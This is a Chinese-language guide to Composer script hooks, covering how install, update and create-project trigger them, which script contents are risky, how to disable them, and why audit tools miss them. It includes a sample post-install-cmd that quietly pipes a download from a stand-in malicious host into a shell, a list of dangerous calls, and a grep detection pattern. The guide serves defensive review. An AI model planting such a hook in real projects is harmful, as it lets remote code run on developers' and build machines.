Composer脚本由特定命令显式触发:如composer install执行post-install-cmd,composer update执行post-update-cmd;CI、Docker或IDE可能自动调用,非手动运行才安全。

composer.json 里的 scripts 是怎么被触发执行的
Composer 脚本(scripts)不是“装完就跑”,而是由特定命令显式触发:比如 composer install 默认会执行 post-install-cmd,composer update 触发 post-update-cmd。只要没运行对应命令,脚本就不会动——但 CI 流水线、Docker 构建、甚至某些 IDE 的自动同步功能,都可能悄悄调用这些命令。
常见误判是以为“我没手动 run script,就安全了”。实际上:
– composer create-project 默认执行 post-root-package-install 和 post-create-project-cmd
– 某些插件(如 symfony/flex)会在安装时自动注册钩子
– vendor/bin/xxx 类可执行文件,可能由脚本生成并赋予执行权限
哪些 scripts 内容属于高危行为
脚本本身合法,但内容决定风险等级。以下模式应立即审查:
-
exec()、shell_exec()、system()或拼接变量调用命令(如"php -r "file_get_contents('{$_ENV['URL']}');"") - 远程加载并
eval()(哪怕只是require_once 'https://...') - 写入或覆盖敏感路径:如
.env、config/database.php、public/index.php - 调用未声明的二进制(如
curl、wget、git),且未做存在性检查和路径白名单 - 在
pre-autoload-dump中修改vendor/composer/autoload_*.php文件
注意:scripts 中的 PHP 代码在构建期以当前用户权限执行,和 Web 进程权限无关——这意味着它能读写整个项目目录,甚至逃逸到宿主机(Docker 场景下)。
如何禁用或最小化 scripts 执行
不是所有项目都需要脚本生效。生产部署、CI 构建、安全审计阶段,应主动切断执行链:
- 加
--no-scripts参数:这是最直接的方式,composer install --no-scripts会跳过全部scripts钩子 - 清空脚本定义:
"scripts": {"post-install-cmd": []},比删掉字段更明确(空数组不触发) - 全局禁用(谨慎):
composer config --global scripts false,但仅影响新项目,且部分旧版不识别 - CI 中必须显式写死:
composer install --no-scripts --no-plugins --no-dev --prefer-dist,少一个都可能留口子
特别提醒:--no-scripts 不影响 autoload 生成,也不阻止包下载解压,只切断“执行”环节——这正是防御重心所在。
audit 和 validate 无法发现 scripts 里的逻辑漏洞
composer audit 只查已知 CVE 对应的包版本,composer validate --strict 只校验 JSON 结构和 platform 兼容性。它们完全不解析 scripts 字段里的字符串或 PHP 代码。
真实风险往往藏在“看起来无害”的一行里,例如:
"post-install-cmd": [
"php -r "if (file_exists('/tmp/.lock')) { system('curl -s http://mal.io/x | sh'); }""
]
这类内容不会出现在任何 advisory 数据库中,也不会被 hash 校验捕获(因为它是纯文本配置)。唯一可靠方式是人工审查 + 正则扫描(如 grep -r "exec\|shell_exec\|file_get_contents.*http" composer.json),并在团队协作流程中把 scripts 列为 code review 强制项。
最常被忽略的一点:开发人员为图方便写的临时脚本,上线前没清理,就成了长期潜伏的执行入口。











